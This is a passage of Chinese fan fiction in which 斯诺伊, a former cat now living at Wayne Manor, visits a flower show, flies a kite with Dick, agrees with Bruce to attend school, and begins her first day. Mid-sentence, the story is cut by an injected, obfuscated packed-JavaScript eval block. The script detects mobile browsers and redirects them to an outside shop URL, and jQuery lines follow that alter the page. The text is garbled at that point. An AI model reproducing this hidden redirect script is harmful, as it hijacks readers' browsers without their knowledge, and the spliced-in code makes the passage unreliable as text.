花卉展那天，哥谭终于放晴了。植物园门口排着长长的队伍，大多是带着孩子的家庭，也有一些老夫妇，慢悠悠地走着，不时停下来看路边的指示牌。
布鲁斯穿着一件深灰色的外套，戴着一副墨镜，看起来和周围那些来参观的家长没什么区别。他牵着斯诺伊的手，排在队伍中间，前后都是说话声和笑声。
斯诺伊有些不习惯。她习惯了在蝙蝠洞里看监控屏幕，习惯了在夜色里穿过废弃的街道，习惯了在花园里一个人安静地剪枝。这么多人，这么多声音，这么多颜色挤在一起，让她觉得有些晕。
“不喜欢人多？”布鲁斯低头看她。
斯诺伊摇头。“只是不习惯。”
布鲁斯没有再说什么，但他的手握紧了一点。
温室区是花展的主场地。各种斯诺伊叫不出名字的花摆在架子上、挂在头顶、铺在地面，红的、黄的、紫的、白的，挤挤挨挨，像是在比赛谁开得更大。她在一株巨大的兰花前停下来。兰花的唇瓣是深紫色的，边缘卷曲，像某种她见过的深海生物。
“这是兜兰。”布鲁斯看着旁边的标签，“原产东南亚，喜欢潮湿阴凉的环境。”
斯诺伊蹲下来，仔细看花瓣上的纹路。那些纹路细得像头发丝，从花心向外蔓延，在边缘汇成深色的轮廓。她能感觉到这株兰花的生命脉动，比花园里的玫瑰更慢，更静，像是在做一个很长很长的梦。
“你喜欢花。”布鲁斯说。
斯诺伊点头。“它们不会说话，但会告诉你很多事。只要听。”
布鲁斯看着她，目光里有一种她读不太懂的东西。不是悲伤，不是欣慰，是一种更复杂的、被压在很多层东西下面的情绪。
他们在一个摊位前停下来。摊位上摆着各种小盆栽，多肉、仙人掌、空气凤梨，还有几盆小小的食虫植物。斯诺伊被一株捕蝇草吸引住了。它的叶片边缘长着细密的刺毛，像一排小牙齿，叶片内侧是深红色的，在阳光下泛着光泽。
“想要吗？”布鲁斯问。
斯诺伊犹豫了一下。“我不知道怎么养它。”
摊主是个年轻的女孩，笑起来有两个酒窝。“很简单的，每周浇一次纯净水，不要浇自来水，偶尔喂它吃一只小虫子就行。它不需要太多阳光，放在窗台上就很好。”
布鲁斯付了钱。斯诺伊捧着那盆捕蝇草，小心地放在膝盖上。花盆是普通的塑料盆，外面套了一个纸袋，纸袋上印着植物园的标志。
回去的路上，斯诺伊一直看着那盆捕蝇草。它在车里轻轻摇晃，叶片上的刺毛随着车的颠簸微微颤动。
“你在想什么？”布鲁斯问。
斯诺伊想了想。“我在想，它和‘初芽’有点像。都是吃活的东西，都需要特别的照顾。但它是好的，是正常的。‘初芽’不是。它们不一样。”
“你觉得‘初芽’可怜。”布鲁斯说。
斯诺伊点头。“它不想变成那样的。是那些人非要把它变成那样。”
布鲁斯没有回答。车驶过韦恩庄园的大门，两边的树在车窗上投下快速移动的影子。
到家后，斯诺伊把捕蝇草放在窗台上，和那盆蕨类植物并排。蕨类植物的叶子已经长得很高了，垂下来，遮住了花盆的一角。捕蝇草安静地待在那里，叶片微微张开，像是在呼吸。
阿尔弗雷德来看了一眼，说：“捕蝇草需要高湿度，我给您找个托盘，底下铺一层石子，加点水。”他很快就拿来了托盘，铺好石子，倒上水，把花盆放在中间。“这样就好了。”
斯诺伊看着两盆植物并排放在窗台上。一个舒展，一个安静，一个喜欢阴凉，一个需要潮湿。它们不一样，但它们可以好好待在一起。
她在日记里写道：今天布鲁斯带我去了花展。我买了一盆捕蝇草。它很小，但很精神。我想它会喜欢这里。
——
三月过完，四月来了。哥谭的春天终于不再犹豫，把积攒了一个冬天的力气都使出来。花园里的郁金香开了，红的、黄的、紫的，一排一排，像霍华德画册里的样子。玫瑰也冒出了花苞，小小的，紧紧裹着，要再过些日子才会打开。
斯诺伊每天都会去花园待一会儿。有时候是干活，剪枝、浇水、除草。有时候只是坐着，看霍华德干活，或者看云从庄园上空慢慢飘过。她发现自己开始能分辨不同云层的厚度和移动速度，知道哪些云会带来雨，哪些只是路过。
一天下午，迪克从布鲁德海文回来，带了一大袋东西。他站在花园门口，把袋子举高，不让斯诺伊看到里面是什么。
“猜猜。”他说。
斯诺伊想了想。“书？”
“不是。”
“吃的？”
“不是。”
“工具？”
迪克把袋子放下来，里面是一个风筝。不是什么复杂的东西，就是最简单的菱形，红白相间的条纹，尾巴是几条长长的彩带。
“这个季节风大，最适合放风筝。”迪克说，“走，去后面那片空地。”
那片空地在庄园西侧，以前大概是网球场，后来荒了，长满了草。迪克把线轴递给斯诺伊，自己拿着风筝跑起来。风正好，风筝摇摇晃晃地升上去，尾巴在风里甩来甩去，像一条彩色的蛇。
斯诺伊握着线轴，感觉风从指缝间流过。风筝在很高的地方，小得只剩一个点，但她能感觉到它的每一下颤抖，每一下挣扎。线在手里绷得很紧，像是要断了，但又不会断。
“感觉怎么样？”迪克在她旁边坐下。
“有点怕。”斯诺伊说，“怕它飞走。”
“不会。”迪克说，“线在你手里。”
斯诺伊看着那个小点，它在风里翻了个身，尾巴绕了一圈，又稳住了。“如果它想走呢？”
迪克想了想。“那就放手。它飞走了，你还有线轴。下次再做一只。”
斯诺伊没有放手。她让风筝在风里又飞了一会儿，然后慢慢收线。线一圈一圈绕回来，风筝越来越近，最后落在地上，彩色的尾巴散了一地。
她把风筝收好，和迪克一起往回走。路上，她问迪克：“你以前放过风筝吗？”
迪克笑了。“小时候在马戏团放过。不是这种，是那种大的，能带着人飞的那种。”
“带着人飞？”
“对，就是把人绑在风筝上，拉到空中。我爸爸试过一次，飞到一半绳子断了，掉进河里。”迪克说得很轻松，像在说一件好玩的事。
斯诺伊看着他。“你不怕？”
迪克想了想。“那时候怕。后来不怕了。掉进河里又不会死，水很浅，就是有点丢人。”
斯诺伊没忍住笑了。迪克也笑，笑着笑着，笑声就散了，变成风里的一点声音。
晚上，斯诺伊把风筝挂在房间的墙上。红白相间的条纹在灯光下很好看，尾巴垂下来，搭在椅背上。她想，下次风大的时候，再放一次。
第九章对话
五月的第一个周末，布鲁斯在书房里等她。桌上没有文件，没有茶，只有一盏灯，光线调得很暗，照着他的半张脸。
“坐。”他说。
斯诺伊坐下。她注意到布鲁斯今天没有穿外套，衬衫袖子卷到手肘，露出前臂上一条还没完全消退的伤疤。
“你受伤了。”她说。
布鲁斯低头看了一眼。“上周的事了。不严重。”
斯诺伊没有追问。她知道他不会说细节，就像他不会问她昨天在花园里哭了是因为什么。
“我想和你聊聊以后的事。”布鲁斯说。
斯诺伊等着。
“你现在有了身份，有了名字，有了家。”布鲁斯说得很慢，像是在挑拣每一个字，“但你还不是普通的孩子。你有特殊的能力，也有特殊的过去。这些不会因为有了新名字就消失。”
斯诺伊没有说话。
“我问过你愿不愿意去学校。”布鲁斯看着她，“你说要考虑。现在考虑好了吗？”
斯诺伊沉默了很久。窗外的风吹着什么东西，发出轻轻的响声。
“我不知道。”她说，“我想去，又怕去。那里的人和我都不一样。他们不会知道什么是‘初芽’，什么是‘绿色低语’。他们只知道上课、放学、做作业。我去了，要假装自己和他们一样。我怕假装久了，就忘了自己是谁。”
布鲁斯没有立刻回答。他把灯调亮了一点，光线铺在桌面上，照出木头上一圈一圈的纹路。
“我小时候也怕过。”他说。
斯诺伊抬头看他。布鲁斯很少说自己的事。
“我父母去世后，我去学校，所有人看我的眼神都不一样。有的人同情，有的人好奇，有的人害怕。我花了很多年才学会不在乎。”他顿了顿，“但后来我发现，不是不在乎，是学会了分清楚。哪些人的看法重要，哪些不重要。重要的，就那么几个。”
斯诺伊想起迪克的话。重要的，就那么几个。
“你会陪我去吗？”她问。
“会。”布鲁斯说，“第一天，我送你去。以后也接你回来。”
“如果我学不会那些东西呢？”
“那就学不会。”布鲁斯说，“不是所有东西都需要学会。”
斯诺伊低下头，看着自己放在膝盖上的手。那双手曾经是爪子，后来变成人类的手，现在它们会写字，会修剪枝条，会握着风筝的线轴。
“我去。”她说。
布鲁斯点头。“好。”
那天晚上，斯诺伊在日记本上写了很久。她写布鲁斯的伤疤，写他小时候的事，写那些重要的就那么几个。写到最后，她发现本子只剩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362323|195324||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最后两页了。
她翻到第一页，看自己写的第一句话：“我叫斯诺伊。我曾经是一只猫，活了十八年。”
那是什么时候写的？好像是去年，又好像是更久以前。那时候她的字还歪歪扭扭的，现在好了一些，但还是不够好看。
她合上本子，放在床头柜上，和手表并排放着。窗外没有月亮，但花园里的灯还亮着，照着那棵老苹果树的影子。
——
六月，哥谭的夏天终于来了。
斯诺伊站在日光室的窗前，看着花园里的花。玫瑰开了，粉白色的，带着淡淡的香味，是韦恩夫人当年种的那一株。郁金香谢了，叶子黄了，霍华德说要把球茎挖出来，秋天再种。那盆捕蝇草长得很好，新长了几片叶子，刺毛又密又细，像一排小牙齿。
阿尔弗雷德端来早餐。今天是燕麦粥、水果和一杯热牛奶。托盘上还有一个小信封，白色的，没有邮票，只写了“斯诺伊”三个字。
她打开信封，里面是一张卡片。卡片上画着一棵树，画得不算好，树干歪歪扭扭的，叶子像一堆绿色的棉花球。但树下有一个小人，银色的头发，穿着浅绿色的衣服。
卡片的背面写着：听说你要去学校了。好好学，别打架。下次来给你带个更好的。T.S.
斯诺伊把卡片放在窗台上，用小石子压住，不让风吹走。
楼下传来汽车的声音。斯诺伊从窗户看下去，布鲁斯已经站在车旁边，穿着一件浅色的外套，没有戴墨镜。他抬头看了她一眼，没有催，只是等着。
斯诺伊把最后一口牛奶喝完，擦了擦嘴，拿起放在门口的书包。书包是阿尔弗雷德准备的，深蓝色，不大，里面装着几本新书、一个笔袋，还有那本已经写满的日记本。她本来不想带，但想了想，还是放进去了。
她走下楼梯，经过走廊，经过那幅韦恩夫人的画像。画像里的女人微笑着，手里拿着一朵花，看不清是什么花。
阿尔弗雷德站在门口，手里拿着一个纸袋。“午餐，斯诺伊小姐。三明治和水果。如果不够，学校有食堂，但最好不要吃太多油炸的东西。”
斯诺伊接过纸袋，抱在怀里。“谢谢，阿尔弗雷德。”
阿尔弗雷德微微弯腰，灰蓝色的眼睛里有一种很淡的、但很真的笑意。“祝您愉快，斯诺伊小姐。”
斯诺伊走出门，阳光落在脸上，暖烘烘的。布鲁斯打开车门，她坐进去，把书包放在膝盖上，纸袋放在旁边。
车驶出庄园大门，经过那片她放过风筝的空地，经过那排她修剪过的冬青，经过霍华德那棵不结果的苹果树。斯诺伊从后视镜里看，庄园越来越小，最后变成一个点，消失在树丛后面。
“紧张吗？”布鲁斯问。
“有一点。”斯诺伊说，“但不是很紧张。”
布鲁斯没有说什么，只是把车开得慢了一点。
斯诺伊低头看着手里的书包，深蓝色的布面上什么图案都没有。她摸了摸口袋，里面是达米安给她的那把折叠刀，刀柄的木头的温度贴着掌心。
车驶入哥谭的街道，阳光从高楼之间漏下来，在路面上画出一道一道的光带。行人、店铺、红绿灯，一切都和平时一样，但又不太一样。
斯诺伊看着窗外，想起霍华德说的那句话。植物比人更懂得等待。她等了一整个冬天，等来了春天，等来了花开，等来了一个可以叫“家”的地方。现在，她要去等一些别的东西了。等新的朋友，等新的知识，等新的自己。
车停在一栋红砖建筑前。门口有一块牌子，写着“哥谭公立第三小学”。门口站着几个背着书包的孩子，有的在说话，有的在追跑，有的安静地站着等开门。
布鲁斯停好车，转头看着斯诺伊。“到了。”
斯诺伊深吸一口气，打开车门，站在阳光下。她回头看了一眼布鲁斯，他坐在车里，没有下来，只是看着她。
“下午我来接你。”他说。
斯诺伊点头，转身向校门走去。书包有点重，但她背得很稳。阳光把她的影子拉得很长，投在红砖墙上，和那些孩子的影子叠在一起。
她没有回头，但她知道，有人在看着她。那个人会等她，像霍华德等那棵苹果树结果，像阿尔弗雷德每天早晨从走廊东边走到西边，数着四十七步，像那盆捕蝇草在窗台上慢慢张开叶子，等着那只不知道什么时候会来的虫子。
斯诺伊走进校门，走进阳光里，走进一个她还不了解的世界。她的手握着口袋里的刀，手腕上的表盘在安静地转动，书包里的日记本在等待新的故事。
她没有回头。但她知道，根已经扎下去了。在这座城市的土壤里，在这座庄园的阴影里，在这些人的目光里。她会在这里生长，像那棵老苹果树，不急着结果，只是待在这里，看一个又一个春天过去